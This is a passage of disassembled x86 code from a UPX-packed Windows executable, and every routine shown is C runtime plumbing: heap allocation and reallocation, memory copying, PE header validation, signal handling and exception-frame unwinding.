		mov	[ebp+var_1C], ecx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_1C]
		rep movsb
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_1C]
		push	eax
		push	edx
		push	ecx
		call	sub_40908B
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		jmp	short loc_409161
; ---------------------------------------------------------------------------


loc_409147:				; CODE XREF: sub_40908B+85j
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_0]


loc_409161:				; CODE XREF: sub_40908B+5Dj
					; sub_40908B+81j ...
		mov	ebx, [ebp+var_4]
		mov	esi, [ebp+var_8]
		mov	edi, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_40908B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40916E	proc near		; CODE XREF: sub_405413+Ep

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00409273 SIZE 00000019 BYTES

		push	0Ch
		push	offset dword_40E1C8
		call	__SEH_prolog4
		mov	ecx, [ebp+arg_0]
		xor	edi, edi
		cmp	ecx, edi
		jbe	short loc_4091B1
		push	0FFFFFFE0h
		pop	eax
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+arg_4]
		sbb	eax, eax
		inc	eax
		jnz	short loc_4091B1
		call	sub_4053C0
		mov	dword ptr [eax], 0Ch
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_402191
		add	esp, 14h


loc_4091AA:				; CODE XREF: sub_40916E+E6j
					; sub_40916E+F2j
		xor	eax, eax
		jmp	loc_409286
; ---------------------------------------------------------------------------


loc_4091B1:				; CODE XREF: sub_40916E+13j
					; sub_40916E+22j
		imul	ecx, [ebp+arg_4]
		mov	esi, ecx
		mov	[ebp+arg_0], esi
		cmp	esi, edi
		jnz	short loc_4091C1
		xor	esi, esi
		inc	esi


loc_4091C1:				; CODE XREF: sub_40916E+4Ej
					; sub_40916E+DBj
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		cmp	esi, 0FFFFFFE0h
		ja	short loc_409234
		cmp	ds:dword_4108E4, 3
		jnz	short loc_40921F
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_4108D4
		ja	short loc_40921F
		push	4
		call	sub_4079D2
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	[ebp+arg_0]
		call	sub_408D21
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40926A
		mov	ebx, [ebp+var_1C]
		cmp	ebx, edi
		jz	short loc_409223
		push	[ebp+arg_0]
		push	edi
		push	ebx
		call	sub_4021D0
		add	esp, 0Ch


loc_40921F:				; CODE XREF: sub_40916E+64j
					; sub_40916E+78j
		cmp	ebx, edi
		jnz	short loc_409284


loc_409223:				; CODE XREF: sub_40916E+A2j
		push	esi
		push	8
		push	ds:dword_4105D4
		call	dword_40C050	; RtlAllocateHeap
		mov	ebx, eax


loc_409234:				; CODE XREF: sub_40916E+5Bj
		cmp	ebx, edi
		jnz	short loc_409284
		cmp	ds:dword_410774, edi
		jz	short loc_409273
		push	esi
		call	sub_404EFE
		pop	ecx
		test	eax, eax
		jnz	loc_4091C1
		mov	eax, [ebp+arg_8]
		cmp	eax, edi
		jz	loc_4091AA
		mov	dword ptr [eax], 0Ch
		jmp	loc_4091AA
sub_40916E	endp


; =============== S U B	R O U T	I N E =======================================



sub_409265	proc near		; DATA XREF: UPX1:0040E1E0o
		xor	edi, edi
		mov	esi, [ebp+0Ch]
sub_409265	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40926A	proc near		; CODE XREF: sub_40916E+98p
		push	4
		call	sub_4078FA
		pop	ecx
		retn
sub_40926A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40916E


loc_409273:				; CODE XREF: sub_40916E+D0j
		cmp	ebx, edi
		jnz	short loc_409284
		mov	eax, [ebp+arg_8]
		cmp	eax, edi
		jz	short loc_409284
		mov	dword ptr [eax], 0Ch


loc_409284:				; CODE XREF: sub_40916E+B3j
					; sub_40916E+C8j ...
		mov	eax, ebx


loc_409286:				; CODE XREF: sub_40916E+3Ej
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_40916E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40928C	proc near		; CODE XREF: sub_40545B+Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004093D9 SIZE 000000CE BYTES

		push	10h
		push	offset dword_40E1E8
		call	__SEH_prolog4
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jnz	short loc_4092AD
		push	[ebp+arg_4]
		call	sub_404E31
		pop	ecx
		jmp	loc_409479
; ---------------------------------------------------------------------------


loc_4092AD:				; CODE XREF: sub_40928C+11j
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_4092C0
		push	ebx
		call	sub_404F20
		pop	ecx
		jmp	loc_409477
; ---------------------------------------------------------------------------


loc_4092C0:				; CODE XREF: sub_40928C+26j
		cmp	ds:dword_4108E4, 3
		jnz	loc_409460


loc_4092CD:				; CODE XREF: sub_40928C+169j
		xor	edi, edi
		mov	[ebp+var_1C], edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_409465
		push	4
		call	sub_4079D2
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_40854D
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	loc_409396
		cmp	esi, ds:dword_4108D4
		ja	short loc_409349
		push	esi
		push	ebx
		push	eax
		call	sub_408A42
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_409314
		mov	[ebp+var_1C], ebx
		jmp	short loc_409349
; ---------------------------------------------------------------------------


loc_409314:				; CODE XREF: sub_40928C+81j
		push	esi
		call	sub_408D21
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jz	short loc_409349
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_40932C
		mov	eax, esi


loc_40932C:				; CODE XREF: sub_40928C+9Cj
		push	eax
		push	ebx
		push	[ebp+var_1C]
		call	sub_405020
		push	ebx
		call	sub_40854D
		mov	[ebp+var_20], eax
		push	ebx
		push	eax
		call	sub_408578
		add	esp, 18h


loc_409349:				; CODE XREF: sub_40928C+72j
					; sub_40928C+86j ...
		cmp	[ebp+var_1C], edi
		jnz	short loc_409396
		cmp	esi, edi
		jnz	short loc_409358
		xor	esi, esi
		inc	esi
		mov	[ebp+arg_4], esi


loc_409358:				; CODE XREF: sub_40928C+C4j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	edi
		push	ds:dword_4105D4
		call	dword_40C050	; RtlAllocateHeap
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jz	short loc_409396
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_409380
		mov	eax, esi


loc_409380:				; CODE XREF: sub_40928C+F0j
		push	eax
		push	ebx
		push	[ebp+var_1C]
		call	sub_405020
		push	ebx
		push	[ebp+var_20]
		call	sub_408578
		add	esp, 14h


loc_409396:				; CODE XREF: sub_40928C+66j
					; sub_40928C+C0j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4093D0
		cmp	[ebp+var_20], 0
		jnz	short loc_4093D9
		test	esi, esi
		jnz	short loc_4093AD
		inc	esi


loc_4093AD:				; CODE XREF: sub_40928C+11Ej
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	ebx
		push	0
		push	ds:dword_4105D4
		call	dword_40C0F8	; RtlReAllocateHeap
		mov	edi, eax
		jmp	short loc_4093DC
sub_40928C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4093CA	proc near		; DATA XREF: UPX1:0040E200o
		mov	esi, [ebp+0Ch]
		mov	ebx, [ebp+8]
sub_4093CA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4093D0	proc near		; CODE XREF: sub_40928C+111p
		push	4
		call	sub_4078FA
		pop	ecx
		retn
sub_4093D0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40928C


loc_4093D9:				; CODE XREF: sub_40928C+11Aj
		mov	edi, [ebp+var_1C]


loc_4093DC:				; CODE XREF: sub_40928C+13Cj
		test	edi, edi
		jnz	loc_4094A3
		cmp	ds:dword_410774, edi
		jz	short loc_409418
		push	esi
		call	sub_404EFE
		pop	ecx
		test	eax, eax
		jnz	loc_4092CD
		call	sub_4053C0
		cmp	[ebp+var_20], edi
		jnz	short loc_409471


loc_409405:				; CODE XREF: sub_40928C+1F8j
		mov	esi, eax
		call	dword_40C088	; RtlGetLastWin32Error
		push	eax
		call	sub_405385
		pop	ecx
		mov	[esi], eax
		jmp	short loc_409477
; ---------------------------------------------------------------------------


loc_409418:				; CODE XREF: sub_40928C+15Ej
		test	edi, edi
		jnz	loc_4094A3
		call	sub_4053C0
		cmp	[ebp+var_20], edi
		jz	short loc_409492
		mov	dword ptr [eax], 0Ch
		jmp	short loc_4094A3
; ---------------------------------------------------------------------------


loc_409432:				; CODE XREF: sub_40928C+1D7j
		test	esi, esi
		jnz	short loc_409437
		inc	esi


loc_409437:				; CODE XREF: sub_40928C+1A8j
		push	esi
		push	ebx
		push	0
		push	ds:dword_4105D4
		call	dword_40C0F8	; RtlReAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4094A3
		cmp	ds:dword_410774, eax
		jz	short loc_409489
		push	esi
		call	sub_404EFE
		pop	ecx
		test	eax, eax
		jz	short loc_40947F


loc_409460:				; CODE XREF: sub_40928C+3Bj
		cmp	esi, 0FFFFFFE0h
		jbe	short loc_409432


loc_409465:				; CODE XREF: sub_40928C+49j
		push	esi
		call	sub_404EFE
		pop	ecx
		call	sub_4053C0


loc_409471:				; CODE XREF: sub_40928C+177j
		mov	dword ptr [eax], 0Ch


loc_409477:				; CODE XREF: sub_40928C+2Fj
					; sub_40928C+18Aj
		xor	eax, eax


loc_409479:				; CODE XREF: sub_40928C+1Cj
					; sub_40928C+219j
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_40947F:				; CODE XREF: sub_40928C+1D2j
		call	sub_4053C0
		jmp	loc_409405
; ---------------------------------------------------------------------------


loc_409489:				; CODE XREF: sub_40928C+1C7j
		test	edi, edi
		jnz	short loc_4094A3
		call	sub_4053C0


loc_409492:				; CODE XREF: sub_40928C+19Cj
		mov	esi, eax
		call	dword_40C088	; RtlGetLastWin32Error
		push	eax
		call	sub_405385
		mov	[esi], eax
		pop	ecx


loc_4094A3:				; CODE XREF: sub_40928C+152j
					; sub_40928C+18Ej ...
		mov	eax, edi
		jmp	short loc_409479
; END OF FUNCTION CHUNK	FOR sub_40928C

; =============== S U B	R O U T	I N E =======================================



sub_4094A7	proc near		; CODE XREF: sub_405665:loc_405688p
		push	esi
		push	edi
		xor	edi, edi


loc_4094AB:				; CODE XREF: sub_4094A7+1Aj
		lea	esi, off_40FAD8[edi]
		push	dword ptr [esi]
		call	sub_404694
		add	edi, 4
		cmp	edi, 28h
		pop	ecx
		mov	[esi], eax
		jb	short loc_4094AB
		pop	edi
		pop	esi
		retn
sub_4094A7	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4094D0	proc near		; CODE XREF: sub_409550+3Fp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	5A4Dh
		jz	short loc_4094DE


loc_4094DB:				; CODE XREF: sub_4094D0+19j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4094DE:				; CODE XREF: sub_4094D0+9j
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		cmp	dword ptr [eax], 4550h
		jnz	short loc_4094DB
		xor	ecx, ecx
		cmp	word ptr [eax+18h], 10Bh
		setz	cl
		mov	eax, ecx
		retn
sub_4094D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409500	proc near		; CODE XREF: sub_409550+59p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		movzx	eax, word ptr [ecx+14h]
		push	ebx
		push	esi
		movzx	esi, word ptr [ecx+6]
		xor	edx, edx
		test	esi, esi
		push	edi
		lea	eax, [eax+ecx+18h]
		jbe	short loc_40953C
		mov	edi, [esp+0Ch+arg_4]


loc_409522:				; CODE XREF: sub_409500+3Aj
		mov	ecx, [eax+0Ch]
		cmp	edi, ecx
		jb	short loc_409532
		mov	ebx, [eax+8]
		add	ebx, ecx
		cmp	edi, ebx
		jb	short loc_40953E


loc_409532:				; CODE XREF: sub_409500+27j
		add	edx, 1
		add	eax, 28h
		cmp	edx, esi
		jb	short loc_409522


loc_40953C:				; CODE XREF: sub_409500+1Cj
		xor	eax, eax


loc_40953E:				; CODE XREF: sub_409500+30j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409550	proc near		; CODE XREF: sub_405665+Ep
					; sub_405665+79p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFEh
		push	offset dword_40E208
		push	offset sub_4058D0
		mov	eax, large fs:0
		push	eax
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_40F060
		xor	[ebp+var_8], eax
		xor	eax, ebp
		push	eax
		lea	eax, [ebp+var_10]
		mov	large fs:0, eax
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		push	400000h
		call	sub_4094D0
		add	esp, 4
		test	eax, eax
		jz	short loc_4095F0
		mov	eax, [ebp+arg_0]
		sub	eax, 400000h
		push	eax
		push	400000h
		call	sub_409500
		add	esp, 8
		test	eax, eax
		jz	short loc_4095F0
		mov	eax, [eax+24h]
		shr	eax, 1Fh
		not	eax
		and	eax, 1
		mov	[ebp+var_4], 0FFFFFFFEh
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	eax, [ecx]
		xor	edx, edx
		cmp	eax, 0C0000005h
		setz	dl
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]


loc_4095F0:				; CODE XREF: sub_409550+49j
					; sub_409550+63j
		mov	[ebp+var_4], 0FFFFFFFEh
		xor	eax, eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409550	endp


; =============== S U B	R O U T	I N E =======================================



sub_40960B	proc near		; CODE XREF: sub_405819+27p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_410778, eax
		mov	ds:dword_41077C, eax
		mov	ds:dword_410780, eax
		mov	ds:dword_410784, eax
		retn
sub_40960B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409624	proc near		; CODE XREF: sub_409665+5Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, ds:dword_40F33C
		push	esi


loc_40962F:				; CODE XREF: sub_409624+1Ej
		cmp	[eax+4], edx
		jz	short loc_409644
		mov	esi, ecx
		imul	esi, 0Ch
		add	esi, [esp+4+arg_0]
		add	eax, 0Ch
		cmp	eax, esi
		jb	short loc_40962F


loc_409644:				; CODE XREF: sub_409624+Ej
		imul	ecx, 0Ch
		add	ecx, [esp+4+arg_0]
		pop	esi
		cmp	eax, ecx
		jnb	short loc_409655
		cmp	[eax+4], edx
		jz	short locret_409657


loc_409655:				; CODE XREF: sub_409624+2Aj
		xor	eax, eax

locret_409657:				; CODE XREF: sub_409624+2Fj
		retn
sub_409624	endp


; =============== S U B	R O U T	I N E =======================================



sub_409658	proc near		; CODE XREF: UPX0:loc_409D6Dp
		push	ds:dword_410780
		call	sub_40470B
		pop	ecx
		retn
sub_409658	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409665	proc near		; CODE XREF: UPX0:00409D78p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0040980F SIZE 00000006 BYTES

		push	20h
		push	offset dword_40E228
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_28], edi
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 0Bh
		jg	short loc_4096CD
		jz	short loc_409698
		mov	eax, ebx
		push	2
		pop	ecx
		sub	eax, ecx
		jz	short loc_4096AE
		sub	eax, ecx
		jz	short loc_409698
		sub	eax, ecx
		jz	short loc_4096F8
		sub	eax, ecx
		jnz	short loc_4096DC


loc_409698:				; CODE XREF: sub_409665+1Cj
					; sub_409665+29j
		call	sub_4048B0
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jnz	short loc_4096BA


loc_4096A6:				; CODE XREF: sub_409665+91j
		or	eax, 0FFFFFFFFh
		jmp	loc_40980F
; ---------------------------------------------------------------------------


loc_4096AE:				; CODE XREF: sub_409665+25j
		mov	esi, offset dword_410778
		mov	eax, ds:dword_410778
		jmp	short loc_40971A
; ---------------------------------------------------------------------------


loc_4096BA:				; CODE XREF: sub_409665+3Fj
		push	dword ptr [edi+5Ch]
		mov	edx, ebx
		call	sub_409624
		mov	esi, eax
		add	esi, 8
		mov	eax, [esi]
		jmp	short loc_409727
; ---------------------------------------------------------------------------


loc_4096CD:				; CODE XREF: sub_409665+1Aj
		mov	eax, ebx
		sub	eax, 0Fh
		jz	short loc_409710
		sub	eax, 6
		jz	short loc_409704
		dec	eax
		jz	short loc_4096F8


loc_4096DC:				; CODE XREF: sub_409665+31j
		call	sub_4053C0
		mov	dword ptr [eax], 16h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_402191
		add	esp, 14h
		jmp	short loc_4096A6
; ---------------------------------------------------------------------------


loc_4096F8:				; CODE XREF: sub_409665+2Dj
					; sub_409665+75j
		mov	esi, offset dword_410780
		mov	eax, ds:dword_410780
		jmp	short loc_40971A
; ---------------------------------------------------------------------------


loc_409704:				; CODE XREF: sub_409665+72j
		mov	esi, offset dword_41077C
		mov	eax, ds:dword_41077C
		jmp	short loc_40971A
; ---------------------------------------------------------------------------


loc_409710:				; CODE XREF: sub_409665+6Dj
		mov	esi, offset dword_410784
		mov	eax, ds:dword_410784


loc_40971A:				; CODE XREF: sub_409665+53j
					; sub_409665+9Dj ...
		mov	[ebp+var_1C], 1
		push	eax
		call	sub_40470B


loc_409727:				; CODE XREF: sub_409665+66j
		mov	[ebp+var_20], eax
		pop	ecx
		xor	eax, eax
		cmp	[ebp+var_20], 1
		jz	loc_40980F
		cmp	[ebp+var_20], eax
		jnz	short loc_409743
		push	3
		call	sub_4057EA


loc_409743:				; CODE XREF: sub_409665+D5j
		cmp	[ebp+var_1C], eax
		jz	short loc_40974F
		push	eax
		call	sub_4079D2
		pop	ecx


loc_40974F:				; CODE XREF: sub_409665+E1j
		xor	eax, eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	ebx, 8
		jz	short loc_409763
		cmp	ebx, 0Bh
		jz	short loc_409763
		cmp	ebx, 4
		jnz	short loc_40977E


loc_409763:				; CODE XREF: sub_409665+F2j
					; sub_409665+F7j
		mov	ecx, [edi+60h]
		mov	[ebp+var_2C], ecx
		mov	[edi+60h], eax
		cmp	ebx, 8
		jnz	short loc_4097B1
		mov	ecx, [edi+64h]
		mov	[ebp+var_30], ecx
		mov	dword ptr [edi+64h], 8Ch


loc_40977E:				; CODE XREF: sub_409665+FCj
		cmp	ebx, 8
		jnz	short loc_4097B1
		mov	ecx, ds:dword_40F330
		mov	[ebp+var_24], ecx


loc_40978C:				; CODE XREF: sub_409665+14Aj
		mov	ecx, ds:dword_40F334
		mov	edx, ds:dword_40F330
		add	ecx, edx
		cmp	[ebp+var_24], ecx
		jge	short loc_4097B8
		mov	ecx, [ebp+var_24]
		imul	ecx, 0Ch
		mov	edx, [edi+5Ch]
		mov	[ecx+edx+8], eax
		inc	[ebp+var_24]
		jmp	short loc_40978C
; ---------------------------------------------------------------------------


loc_4097B1:				; CODE XREF: sub_409665+10Aj
					; sub_409665+11Cj
		call	sub_404702
		mov	[esi], eax


loc_4097B8:				; CODE XREF: sub_409665+138j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4097D9
		cmp	ebx, 8
		jnz	short sub_4097E8
		push	dword ptr [edi+64h]
		push	ebx
		call	[ebp+var_20]
		pop	ecx
		jmp	short loc_4097EC
sub_409665	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4097D3	proc near		; DATA XREF: UPX1:0040E240o
		mov	ebx, [ebp+8]
		mov	edi, [ebp-28h]
sub_4097D3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4097D9	proc near		; CODE XREF: sub_409665+15Ap
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_4097E7
		push	0
		call	sub_4078FA
		pop	ecx

locret_4097E7:				; CODE XREF: sub_4097D9+4j
		retn
sub_4097D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4097E8	proc near		; CODE XREF: sub_409665+162j
		push	ebx
		call	dword ptr [ebp-20h]


loc_4097EC:				; CODE XREF: sub_409665+16Cj
		pop	ecx
		cmp	ebx, 8
		jz	short loc_4097FC
		cmp	ebx, 0Bh
		jz	short loc_4097FC
		cmp	ebx, 4
		jnz	short loc_40980D


loc_4097FC:				; CODE XREF: sub_4097E8+8j
					; sub_4097E8+Dj
		mov	eax, [ebp-2Ch]
		mov	[edi+60h], eax
		cmp	ebx, 8
		jnz	short loc_40980D
		mov	eax, [ebp-30h]
		mov	[edi+64h], eax


loc_40980D:				; CODE XREF: sub_4097E8+12j
					; sub_4097E8+1Dj
		xor	eax, eax
sub_4097E8	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_409665


loc_40980F:				; CODE XREF: sub_409665+44j
					; sub_409665+CCj
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_409665

; =============== S U B	R O U T	I N E =======================================



sub_409815	proc near		; CODE XREF: sub_405819+21p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_41078C, eax
		retn
sub_409815	endp


; =============== S U B	R O U T	I N E =======================================



sub_40981F	proc near		; CODE XREF: sub_405819+1Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_410798, eax
		retn
sub_40981F	endp


; =============== S U B	R O U T	I N E =======================================



sub_409829	proc near		; CODE XREF: sub_405819+Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_41079C, eax
		retn
sub_409829	endp


; =============== S U B	R O U T	I N E =======================================



sub_409833	proc near		; DATA XREF: sub_409843:loc_4098A8o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_40C100	; InitializeCriticalSection
		xor	eax, eax
		inc	eax
		retn	8
sub_409833	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409843	proc near		; CODE XREF: sub_406718+15Fp
					; sub_406718+1F5p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	14h
		push	offset dword_40E248
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	ds:dword_41079C
		call	sub_40470B
		pop	ecx
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_4098B9
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4055F2
		pop	ecx
		cmp	eax, edi
		jz	short loc_409881
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_402095
		add	esp, 14h


loc_409881:				; CODE XREF: sub_409843+2Fj
		cmp	[ebp+var_1C], 1
		jz	short loc_4098A8
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	dword_40C064	; GetModuleHandleA
		cmp	eax, edi
		jz	short loc_4098A8
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	eax
		call	dword_40C068	; GetProcAddress
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_4098AD


loc_4098A8:				; CODE XREF: sub_409843+42j
					; sub_409843+51j
		mov	esi, offset sub_409833


loc_4098AD:				; CODE XREF: sub_409843+63j
		push	esi
		call	sub_404694
		pop	ecx
		mov	ds:dword_41079C, eax


loc_4098B9:				; CODE XREF: sub_409843+21j
		mov	[ebp+ms_exc.disabled], edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi
		mov	[ebp+var_20], eax
		jmp	short loc_4098F8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_24], eax
		xor	ecx, ecx
		cmp	eax, 0C0000017h
		setz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		cmp	[ebp+var_24], 0C0000017h
		jnz	short loc_4098F4
		push	8
		call	dword_40C080	; RtlSetLastWin32Error


loc_4098F4:				; CODE XREF: sub_409843+A7j
		and	[ebp+var_20], 0


loc_4098F8:				; CODE XREF: sub_409843+84j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_20]
		call	__SEH_epilog4
		retn
sub_409843	endp


; =============== S U B	R O U T	I N E =======================================



sub_409908	proc near		; CODE XREF: sub_409908+BDp
					; UPX0:004099EEp ...

var_20		= dword	ptr -20h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_8]
		push	ebp
		push	edx
		push	eax
		push	ecx
		push	ecx
		push	offset loc_409998
		push	large dword ptr	fs:0
		mov	eax, ds:dword_40F060
		xor	eax, esp
		mov	[esp+28h+var_20], eax
		mov	large fs:0, esp


loc_40993A:				; CODE XREF: sub_409908+64j
					; sub_409908+80j
		mov	eax, [esp+28h+arg_4]
		mov	ebx, [eax+8]
		mov	ecx, [esp+28h+arg_0]
		xor	ebx, [ecx]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40998A
		mov	edx, [esp+28h+arg_8]
		cmp	edx, 0FFFFFFFEh
		jz	short loc_40995C
		cmp	esi, edx
		jbe	short loc_40998A


loc_40995C:				; CODE XREF: sub_409908+4Ej
		lea	esi, [esi+esi*2]
		lea	ebx, [ebx+esi*4+10h]
		mov	ecx, [ebx]
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_40993A
		push	101h
		mov	eax, [ebx+8]
		call	sub_409F49
		mov	ecx, 1
		mov	eax, [ebx+8]
		call	sub_409F68
		jmp	short loc_40993A
; ---------------------------------------------------------------------------


loc_40998A:				; CODE XREF: sub_409908+45j
					; sub_409908+52j
		pop	large dword ptr	fs:0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_409998:				; DATA XREF: sub_409908+14o
		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4099DD
		mov	eax, [esp+arg_4]
		mov	ecx, [eax+8]
		xor	ecx, eax
		call	sub_40224A
		push	ebp
		mov	ebp, [eax+18h]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+14h]
		call	sub_409908
		add	esp, 0Ch
		pop	ebp
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4099DD:				; CODE XREF: sub_409908+A0j
		retn
sub_409908	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		push	dword ptr [ecx+1Ch]
		push	dword ptr [ecx+18h]
		push	dword ptr [ecx+28h]
